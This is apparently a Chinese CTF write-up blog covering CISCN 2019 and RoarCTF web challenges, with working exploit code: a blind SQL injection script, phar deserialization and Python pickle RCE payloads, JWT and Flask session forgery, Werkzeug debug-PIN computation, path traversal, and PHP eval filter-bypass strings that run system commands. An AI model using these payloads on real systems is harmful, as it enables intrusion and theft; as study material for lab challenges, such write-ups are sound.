Hack World
搜索框输入1或2会返回结果,其他都返回bool(false)。过滤了union、and、or、空格等,包括/**/
,后来看源码知道是过滤了*
。
有意思的是输入1/1
时会正常返回结果,可以判断这是数字型的sql注入。
根据1和2返回结果的不同,可能是bool盲注,()
没有过滤,可以使用大部分函数,空格的绕过有这些方法我测试是可以的
%09
%0a
%0b
%0c
%0d
/**/
/*!*/
或者直接tab
%20
好像没法绕,%00
截断好像也影响sql语句的执行
或者用括号也可以。任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
本题中可以if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
写个脚本跑一下(本地测试的 buu复现的环境网络不行所以必须加延时,时间太久了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requestsimport stringurl='http://127.0.0.1/CTF/CISCN2019/HackWorld/index.php' letter = '{}{}0123456789_-{},()' .format (string.ascii_uppercase,string.ascii_lowercase,"{}" ) def BiggerThanMid (payload,num ): payload=payload.format (num) data={ "id" : payload, } content=requests.post(url,data=data) if "hello" in content.text.encode("utf-8" ).decode(content.apparent_encoding): return True else : return False def BinaryInjection (payload ): min = 1 max = 255 while (max -min )>1 : mid = (max + min ) // 2 if BiggerThanMid(payload,mid) : min = mid else : max = mid return max def getxxxName (rawpayload,length=20 ): xxxName="" for i in range (1 ,length): payload=rawpayload.format (i,"{}" ) xxxName+=chr (BinaryInjection(payload)) print (xxxName) return xxxName if __name__ == "__main__" : getTableName="if(ascii(substr((select\tflag\tfrom\tflag),{},1))>{},123,456)" TableName=getxxxName(getTableName,40 )
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php $dbuser ='root' ;$dbpass ='root' ;function safe ($sql ) { $blackList = array (' ' ,'||' ,'#' ,'-' ,';' ,'&' ,'+' ,'or' ,'and' ,'`' ,'"' ,'insert' ,'group' ,'limit' ,'update' ,'delete' ,'*' ,'into' ,'union' ,'load_file' ,'outfile' ,'./' ); foreach ($blackList as $blackitem ){ if (stripos ($sql ,$blackitem )){ return False; } } return True; } if (isset ($_POST ['id' ])){ $id = $_POST ['id' ]; }else { die (); } $db = mysql_connect ("localhost" ,$dbuser ,$dbpass );if (!$db ){ die (mysql_error ()); } mysql_select_db ("ctf" ,$db );if (safe ($id )){ $query = mysql_query ("SELECT content from passage WHERE id = ${id} limit 0,1" ); if ($query ){ $result = mysql_fetch_array ($query ); if ($result ){ echo $result ['content' ]; }else { echo "Error Occured When Fetch Result." ; } }else { var_dump ($query ); } }else { die ("SQL Injection Checked." ); }
[Day1 Web1] Dropbox
注册登录后,页面有上传文件选项,上传个一句话php
提示只能上传图片,后缀改成png
,提示上传成功,还能下载,拦截下载请求
将filename
改成../../../../../etc/passwd
,发现可以下载,存在任意文件读取
读取根目录flag
不存在,读取一下网页源码/var/www/html/xxxx.php
,给出主要部分
class.php
,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 <?php error_reporting (0 );$dbaddr = "127.0.0.1" ;$dbuser = "root" ;$dbpass = "root" ;$dbname = "dropbox" ;$db = new mysqli ($dbaddr , $dbuser , $dbpass , $dbname );class User { public $db ; public function __construct ( ) { global $db ; $this ->db = $db ; } public function user_exist ($username ) { $stmt = $this ->db->prepare ("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->store_result (); $count = $stmt ->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username , $password ) { if ($this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt ->bind_param ("ss" , $username , $password ); $stmt ->execute (); return true ; } public function verify_user ($username , $password ) { if (!$this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->bind_result ($expect ); $stmt ->fetch (); if (isset ($expect ) && $expect === $password ) { return true ; } return false ; } public function __destruct ( ) { $this ->db->close (); } } class FileList { private $files ; private $results ; private $funcs ; public function __construct ($path ) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir ($path ); $key = array_search ("." , $filenames ); unset ($filenames [$key ]); $key = array_search (".." , $filenames ); unset ($filenames [$key ]); foreach ($filenames as $filename ) { $file = new File (); $file ->open ($path . $filename ); array_push ($this ->files, $file ); $this ->results[$file ->name ()] = array (); } } public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } } class File { public $filename ; public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } } public function name ( ) { return basename ($this ->filename); } public function size ( ) { $size = filesize ($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i ++) $size /= 1024 ; return round ($size , 2 ).$units [$i ]; } public function detele ( ) { unlink ($this ->filename); } public function close ( ) { return file_get_contents ($this ->filename); } } ?>
download.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } if (!isset ($_POST ['filename' ])) { die (); } include "class.php" ;ini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename ) && stristr ($filename , "flag" ) === false ) { Header ("Content-type: application/octet-stream" ); Header ("Content-Disposition: attachment; filename=" . basename ($filename )); echo $file ->close (); } else { echo "File not exist" ; } ?>
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php include "class.php" ;if (isset ($_FILES ["file" ])) { $filename = $_FILES ["file" ]["name" ]; $pos = strrpos ($filename , "." ); if ($pos !== false ) { $filename = substr ($filename , 0 , $pos ); } $fileext = ".gif" ; switch ($_FILES ["file" ]["type" ]) { case 'image/gif' : $fileext = ".gif" ; break ; case 'image/jpeg' : $fileext = ".jpg" ; break ; case 'image/png' : $fileext = ".png" ; break ; default : $response = array ("success" => false , "error" => "Only gif/jpg/png allowed" ); Header ("Content-type: application/json" ); echo json_encode ($response ); die (); } if (strlen ($filename ) < 40 && strlen ($filename ) !== 0 ) { $dst = $_SESSION ['sandbox' ] . $filename . $fileext ; move_uploaded_file ($_FILES ["file" ]["tmp_name" ], $dst ); $response = array ("success" => true , "error" => "" ); Header ("Content-type: application/json" ); echo json_encode ($response ); } else { $response = array ("success" => false , "error" => "Invaild filename" ); Header ("Content-type: application/json" ); echo json_encode ($response ); } } ?>
delete.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 include "class.php" ;chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename )) { $file ->detele (); Header ("Content-type: application/json" ); $response = array ("success" => true , "error" => "" ); echo json_encode ($response ); } else { Header ("Content-type: application/json" ); $response = array ("success" => false , "error" => "File not exist" ); echo json_encode ($response ); } ?>
发现class.php File
类中有
1 2 3 public function close ( ) { return file_get_contents ($this ->filename); }
这个方法在download.php
中被调用了,这个方法的filename
在download
中通过$filename = (string) $_POST['filename'];
赋值,调用这个方法前需要通过一个if
检查
1 2 3 4 5 if (strlen ($filename ) < 40 && $file ->open ($filename ) && stristr ($filename , "flag" ) === false ) { Header ("Content-type: application/octet-stream" ); Header ("Content-Disposition: attachment; filename=" . basename ($filename )); echo $file ->close (); }
open
方法要求这个文件必须存在并且不是目录:
1 2 3 4 5 6 7 8 public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } }
算了,看看别人的吧
知识点
1.1 open_basedir
https://www.cnblogs.com/guohong-hu/p/9350076.html
在in_set这个函数中,可以设置php的一些配置,其中就包括open_basedir ,用来限制当前程序可以访问的目录。后来问了一下朱师傅,了解到:它是可以访问设置目录下的所有下级目录。
若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 “/dir/other"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。”."可代表当前目录,open_basedir也可以同时设置多个目录,在Windows中用分号分隔目录,在任何其它系统中用冒号分隔目录。例:
ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”); 就是只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录。解释了为什么要在delete.php中利用payload,而不是download.php
1.2 chdir() mkdir()
chdir() 现实目录跳跃,解释了为什么下载时要filename = …/…/indx.php ,而不是filename = index.php。
mkdir() 创建一个文件夹,顺带提一下。
1.3 function all($func, $args)
php的魔术方法,为什么要叫魔术方法?__call($func,$args)
会在对象调用的方法不存在时,自动执行。 $func
:被调用的方法名,所以f u n c ( ) 在这个魔术方法中,可以表示被调用的那个方法; ‘ func()在这个魔术方法中,可以表示被调用的那个方法; ` f u n c ( ) 在这个魔术方法中,可以表示被调用的那个方法; ‘ args `: 被调用方法中的参数(这是个数组)
1 2 3 4 5 6 public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } }
在本题中,此方法的作用,是去调用对象没有的方法。首先把要调用的方法,压进$this->funcs
中,然后遍历每一个文件,让每一个文件,都去调用刚才的方法。比如在index.php中,就出现了这个函数的调用。
当执行 $a = new FileList($_SESSION[‘sandbox’])
时,会先调用构造函数,把“$_SESSION[‘sandbox’]”
目录下的所有文件,都放到 $a->files
中,注意这是个数组,解释了为什么,在后面构造payload时,$this->files
要等于一个数组。然后$a->Name();
调用了一个FileList中并没有的方法,就会自动调用 __all($func, $args)
函数,其中$func=Name
。然后让
$a->files
里的所有文件,都去调用这个方法。并把结果,存储在以filename为一级键名,方法为二级键名的数组中。然后Size方法同样如此。
name
Size
filename1
xx
xx
filename2
xx
xx
也就时说,它在程序中的作用就是,遍历我们上传的所有文件,并把它们的信息,储存在$a->result这个二维数组中。
1.4 function __destruct()
1 2 3 4 5 6 7 8 foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>' ; $table .= '</tr>' ; }
foreach ($this->results as $filename => $result)
每次把每个一级数组的值,传递给$result
,即filename1[]
foreach ($result as $func => $value)
每次把每个二级数组的值,传递给$value
echo table 最后打印出来全部数据
解决了读取的数据,无法输出的问题
1.5 phar(重点)
我的理解,我们可以把一个序列化的对象,储存在phar格式的文件中,生成后(一定要是生成后),即使我们把格式给改了,也不影响它的作用:用一些文件包含函数,如果我们以phar://协议去访问这个文件,那么就可以把那个对象给反序列化。
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,别人测试后,受影响的函数如下:
利用条件:
① phar文件要能够上传到服务器端
② 要有可用的魔术方法作为“跳板”
③ 要有文件操作函数,如file_exists(),fopen(),file_get_contents(),file()
③ 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
实践
File
类中的close
方法会获取文件内容,如果能触发该方法,就有可能获取flag。
User
类中存在close
方法,并且该方法在对象销毁时执行。
同时FileList类中存在__call
魔术方法,并且类没有close
方法。如果一个Filelist
对象调用了close()
方法,根据__call
方法的代码可以知道,文件的close
方法会被执行,就可能拿到flag。
根据以上三条线索,梳理一下可以得出结论:
如果能创建一个user
的对象,其db
变量是一个FileList
对象,对象中的文件名为flag的位置。这样的话,当user
对象销毁时,db
变量的close
方法被执行;而db
变量没有close
方法,这样就会触发__call
魔术方法,进而变成了执行File
对象的close
方法。通过分析FileList
类的析构方法destruct
可以知道,close
方法执行后存在results
变量里的结果会加入到table
变量中被打印出来,也就是flag会被打印出来。
想实现上述想法,可以借助phar的伪协议。
生成phar文件后在删除的时候进行触发即可得到flag。(delete触发也需要满足if (file_exists($filename) && !is_dir($filename))
,不过file_exists()
也支持phar
所以文件名中有phar
不影响)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class User { public $db ; } class File { public $filename ; } class FileList { private $files ; private $results ; private $funcs ; public function __construct ( ) { $file = new File (); $file ->filename = '/flag.txt' ; $this ->files = array ($file ); $this ->results = array (); $this ->funcs = array (); } } @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new User ();$o ->db = new FileList ();$phar ->setMetadata ($o ); $phar ->addFromString ("exp.txt" , "test" ); $phar ->stopBuffering ();?>
生成phar.phar
修改后缀名为jpg
上传
抓包删除页面
修改filename为filename=phar://phar.gif
查看response
得到flag
在File类中,close方法存在file_get_contents()函数,在User中,会调用改方法$this->db->close(),如果有回显的化,我们就可以直接构造payload:
1 2 3 4 5 6 7 8 9 10 <?php class User { public $db ; } class File { public $filename = "/flag.txt" ; } $a = new User ();$a ->db = new File ();?>
然后放到phar文件后,就可以了。
但事实并没有回显,那么我们就让$this->db = new FileList(),让它去调用close,然后调用__call(),然后再调用 __destruct()函数,打印结果。完美,可是我想不到
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class User { public $db ; } class File { public $filename ; } class FileList { private $files ; public function __construct ( ) { $file = new File (); $file ->filename = "/flag.txt" ; $this ->files = array ($file ); } } $a = new User ();$a ->db = new FileList ();$phar = new Phar ("phar.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new User ();$o ->db = new FileList ();$phar ->setMetadata ($a ); $phar ->addFromString ("exp.txt" , "test" ); $phar ->stopBuffering ();?>
3.总结
感觉只要和序列化有关的,就在魔术方法里,找高危函数就完事了,有file_get_contents()的,就是任意文件读取,有eval的,就是任意命令执行。
[Day1 Web2] ikun
鸡你太美~!!
页面中有提示要买到lv6
小电视,翻了好几页没发现lv6
,然后测试了一下发现有500页,手动看也不是办法,写个脚本看看lv6
小电视到底藏在哪里!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from concurrent.futures import ThreadPoolExecutorimport timeimport requestsr=requests.session() def requestUrl (url ): response = requests.get(url) if "lv6.png" in response.text: print (response.url) return response def main (): url="http://c8d9a312-36e4-442f-8d1c-b5f14a5290b9.node3.buuoj.cn/" user={"_xsrf" :"2%7Cd9aca2c4%7C141a48c4004d577321918c738b2c5968%7C1584286112" ,"username" :"sa" ,"password" :"sa" } r.post(url,data=user) seed=[ url+"shop?page=" +str (i) for i in range (1 ,500 ) ] with ThreadPoolExecutor(max_workers=10 ) as executor1: executor1.map (requestUrl,seed) if __name__ == '__main__' : main()
在181页
修改购买金额price
是无效的,但是修改折扣discount
是有效的
购买后就跳转到了b1g_m4mber
观察burpsuit的包发现认证方式为JWT
,所以需要伪造JWT(JSON-Web-Token)
,用到jwtcrack
,来爆破密钥
所以,我的加密密钥就是:1Kun
。然后我们去验证一下,这个网站可以提供验证服务:https://jwt.io/。当我们使用破解出来的key时,我们能完美还原出原始数据,这证明我们的key是正确的。
或者pip安装PyJWT
模块来生成jwt
1 2 3 >>> import jwt>>> jwt.encode({'username' : 'admin' }, '1Kun' , algorithm='HS256' )b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.dD2hbntzt9yS-uufk1yalEMjkvv4fo5jeP9XMeJm_f0'
根据密钥重新加密admin
提交到页面后
1 2 3 4 5 6 7 8 9 10 11 import pickleimport urllibclass catflag (object ): def __reduce__ (self ): return (eval , ("open('/flag.txt','r').read()" ,)) payload= pickle.dumps(catflag()) print (payload)print (urllib.quote(payload))
生成后提交即可c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
https://www.cnblogs.com/Chr1sto/p/12257528.html
https://blog.csdn.net/weixin_44077544/article/details/102844554
攻防世界TimeKeeper
Hits
静态资源
SESSION、SECRET_KEY
debug pin码生成机制
更新flag命令
1 docker exec 容器id /bin/bash -c "echo ciscn{flag}>/flag"
漏洞设置
目录穿越,可任意文件读取
格式化字符串,可获取SECRET_KEY
,从而伪造session成为管理员
上传tar文件自解压,可利用软连接读文件
debug模式,生成pin码的关键信息都可获取到,计算pin码,执行命令
目录穿越
加载静态资源相关代码:
@users.route('/asserts/') def static_handler(path): filename = app.root_path+'/asserts/'+path print filename if os.path.isfile(filename): return send_file(filename) else: abort(404)
可以导致跨目录读文件
1 19:37-p0:~ $ curl http://192.168.1.121/asserts/..%2f..%2f..%2f..%2fflag CISCN{this_is_a_sample_flag}
格式化字符串+SESSION伪造+软连接读文件
代码中class User(db.Model,SQLAlchemy)
继承了SQLAlchemy类,SQLAlchemy类中有请求上下文current_app
变量,通过测试可以获取。
注册POC: {user.__class__.__mro__[3].__init__.__globals__[current_app].config}
,登陆后访问个人中心,拿到secret_key。
利用获取的secret_key签名session,获取admin权限,相关代码:
import json from flask.sessions import SecureCookieSessionInterface class Mockapp(object): def __init__(self, secret_key): self.secret_key = secret_key def encode_session(self ,session): app = Mockapp(self.key) #print session session = json.loads(session) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session) session = '{"admin":true,"id":100,"username":"admin"}' session = self.encode_session(session)
获取admin权限后可以添加商品,商品图片可以是打包的tar包,从而利用软连接读文件
1 ln -s /flag 1.png tar cvfp ./flag.tar 1.png
上传后读取flag
Debug命令执行
经过对Debug Pin码生成机制的研究,可以发现需要下列相关信息:
`md5_list = [ ‘root’, #当前用户,可通过读取/etc/passwd获取 ‘flask.app’, #一般情况为固定值 ‘Flask’,
#一般情况为固定值 ‘/usr/local/lib/python2.7/dist-packages/flask/app.pyc’,
#可通过debug错误页面获取 ‘2485377892354’,
#mac地址的十进制,通过读取/sys/class/net/eth0/address获取mac地址 如果不是映射端口 可以通过arp ip命令获取 ‘0c5b39a3-bba2-472c-a43d-8e013b2874e8’
#机器名,通过读取/proc/sys/kernel/random/boot_id 或/etc/machine-id获取 ]`
生成pin码代码:
1 def get_pin(md5_list): h = hashlib.md5() for bit in md5_list: if not bit: continue if isinstance(bit, unicode): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num return rv
拿到pin码便可执行命令
love_math
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
可以看到题目限制了参数的长度要小于80,且不能包含空格、制表符、换行、单双引号、反引号、[]
。并且输入的字符串需要为$whitelist
中的函数。
最终会执行 eval('echo '.$content.';');
既然想要getshell,我们必须要能够获取任意字符串。由于单双引号被ban掉了,我们无法从函数名中提取字符串。因此我们只能想办法从函数的返回结果中获取。
成功执行
执行系统命令system(‘ls’)
现在我们需要想办法读取flag.php
的内容,三条路:
1、使用php函数readfile等函数读取文件,但是需要flag.php中的.
。
2、使用system等命令执行函数配合通配符*
读取文件,但是需要*
。
3、使用$_GET
全局变量手动传入参数getshell。
上面的三种方法都建立在字符长度小于80的条件下。
方法1
为了缩短字符长度,我们可以将函数base_convert
赋值给一个短变量名,由于白名单的限制,我们最少需要两个字符,即$pi
。
1 ($pi=base_convert)(2146934604002,10,36)('flag.php');
我们需要异或出.
然后与flag和php拼接到一起,传入readfile。
本地搭建环境fuzz
1 2 3 4 5 <?php $a = $_GET ['a' ];$b = $_GET ['b' ];echo $a ^$b ;
发现无法异或出.
。
但是我们发现dechex
函数可以把10进制转换为16进制,我们可以再异或出hex2bin
,来获取任意ASCII字符。
最终payload
1 ($pi=base_convert)(2146934604002,10,36)($pi(727432,10,36).$pi(37907361743,10,36)(dechex(46)).$pi(33037,10,36));
很明显,超长了
本地测试下在没有长度限制下,是否可以读取
方法2
同样的,我们fuzz发现无法异或出*
,需要借助hex2bin函数。
system
1 php > echo base_convert('system',36,10);1751504350
最初payload
nl (Number of Lines) 将指定的文件添加行号标注后写到标准输出。如果不指定文件或指定文件为"-" ,程序将从标准输入读取数据。
1 2 3 4 [root@oracledb study]# nl test1.log 1 2011 2 2012 3 2013
1 ($pi=base_convert)(1751504350,10,36)($pi(37907361743,10,36)(dechex(426836762666)))
1 2 system(nl *) ($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))
成功小于80
方法3
这个思路来自xq17和shadow师傅,已经过本人同意。
刚开始我们知道可以异或出_
。并且$
没有被waf,因此我们可以使用$_GET
全局变量手动传入参数getshell。
虽然[]
被过滤,我们依然可以使用{}
来提取数组中的值。
通过fuzz,我们可以得到
1 1^n=_; 5^r=G; 1^t=E; 7^c=T
不难构造出
$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1})
方法4
其实还有种方法就是利用getallheaders方法,因为是apache中间件,所以可以用getallheaders方法
通过getallheaders构造可控headers,system执行。来自先知社区的ROIS WP
那么多数学函数,实际上唯一能用的只有进制转换类,即base_convert
、dechex
,通过其能导出[0-9a-z]在内的字符。
经过一大堆失败的实验,如:
1 `// phpinfo();``(``base_convert``(55490343972,10,36))();`
1 `// system('cat /*');``$pi``=``base_convert``(9911,10,28);``base_convert``(1751504350,10,36)(``$pi``(99).``$pi``(97).``$pi``(116).``$pi``(32).``$pi``(42));`
1 `// system($_GET);``$pi``=``base_convert``(16191,10,36);``$pi``=``$pi``(95).``$pi``(71).``$pi``(69).``$pi``(84);``base_convert``(1751504350,10,36)($``$pi``{pi});`
最后使用system(getallheaders(){9})
1 `$pi``=``base_convert``;``$pi``(371235972282,10,28)((``$pi``(8768397090111664438,10,30))(){9})`
RoarCTF easy_clac
题目改编自Love_math,题目的难点在于设置的waf,限制了字符串,只能数字通行。在buuctf平台复现
calc.php题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
与love_math还是有本质区别的,没有限制数学函数,并且过滤了$,^等。
那我们可以通过~取反来尝试读取当前目录。
发现输入字符会403,但是输入数字却可以正常执行。结合题目给的源码,设置了waf用来截断字符,通行数字。
这里通过三篇文章学习到了一些绕过方法,一二篇都是parse_str的,通过传参php的字符串解析问题,首发于先知社区。第三篇是http走私攻击
利用PHP函数parse_str绕过IDS、IPS和WAF
利用PHP的字符串解析特性Bypass
协议层的攻击——HTTP请求走私
这里因为限制了单引号,因此我们还是可以用取反操作,直接不需要单引号,转化为字符串。来尝试读取目录
1 `var_dump(scandir(``'.'``)) var_dump(scandir((~%D1)))`
在尝试读下根目录
尝试读取f1agg文件
本来想用system()直接读的,disable_funcionts禁了
用readfile读取f1agg
还有种方法就是还是用数学函数来实现,payload:
1 `base_convert``(2146934604002,10,36)(hex2bin(``dechex``(47)).``base_convert``(25254448,10,36))`
http走私是由于前端代理服务器和后端源服务器之间的一些差异导致请求走私。
通过CL-CL的方法来执行
利用CL-TE或者TE-CL
根据我的理解,其实对于这道题都一样,前端代理和后端源都会执行一遍get传参,前端代理有waf,后端源执行返回正常的。
可能我的理解有所偏颇,但是知道并且能理解就行,不要太钻牛角尖。
后面的步骤与方法一 一样
这里附上很神奇payload:
&为|
1 `((((((``2``).(``0``)){``0``}){``0``})|(((``0``/``0``).(``0``)){``1``})).(((((``-``1``).(``0``)){``0``})|(((``0``/``0``).(``0``)){``1``}))&((((``1``).(``0``)){``0``})|(((``999``*``*``999``).(``1``)){``2``}))).((((``2``).(``0``)){``0``})|((((``999``*``*``999``).(``1``)){``0``})&(((``999``*``*``999``).(``1``)){``2``}))).(((``999``*``*``999``).(``1``)){``0``}).(((``0``/``0``).(``0``)){``1``}).((((``999``*``*``999``).(``1``)){``1``})&((((``-``1``).(``0``)){``0``})|(((``0``/``0``).(``0``)){``1``}))).(((``999``*``*``999``).(``1``)){``0``}).((((``2``).(``0``)){``0``})|((((``999``*``*``999``).(``1``)){``0``})&(((``999``*``*``999``).(``1``)){``1``}))).(((((``-``1``).(``0``)){``0``})|(((``0``/``0``).(``0``)){``1``}))&((((``1``).(``0``)){``0``})|(((``999``*``*``999``).(``1``)){``2``}))))(((((``999``*``*``999``).(``1``)){``2``}).(((``999``*``*``999``).(``1``)){``0``}).((((``999``*``*``999``).(``1``)){``1``})&((((``-``1``).(``0``)){``0``})|(((``0``/``0``).(``0``)){``1``}))).(((((``-``1``).(``0``)){``0``})|(((``0``/``0``).(``0``)){``1``}))&((((``1``).(``0``)){``0``})|(((``999``*``*``999``).(``1``)){``2``}))))(((((``-``1``).(``0``)){``0``})|(((((``8``).(``0``)){``0``})&((((``-``1``).(``0``)){``0``})|(((``999``*``*``999``).(``1``)){``1``})))|((((``2``).(``0``)){``0``})&((((``-``1``).(``0``)){``0``})|(((``999``*``*``999``).(``1``)){``1``}))))).((((``999``*``*``999``).(``1``)){``2``})|((((``4``).(``0``)){``0``})&(((``-``1``).(``0``)){``0``}))).(((``1``).(``1``)){``0``}).((((``0``/``0``).(``0``)){``1``})|(((``-``2``).(``1``)){``0``})&(((``1``).(``0``)){``0``})).((((``999``*``*``999``).(``1``)){``2``})|(((``-``2``).(``1``)){``0``})&(((``1``).(``0``)){``0``})).((((``999``*``*``999``).(``1``)){``2``})|(((``-``2``).(``1``)){``0``})&(((``1``).(``0``)){``0``}))))`
学习文章:https://github.red/roarctf-web-writeup/#easy_calc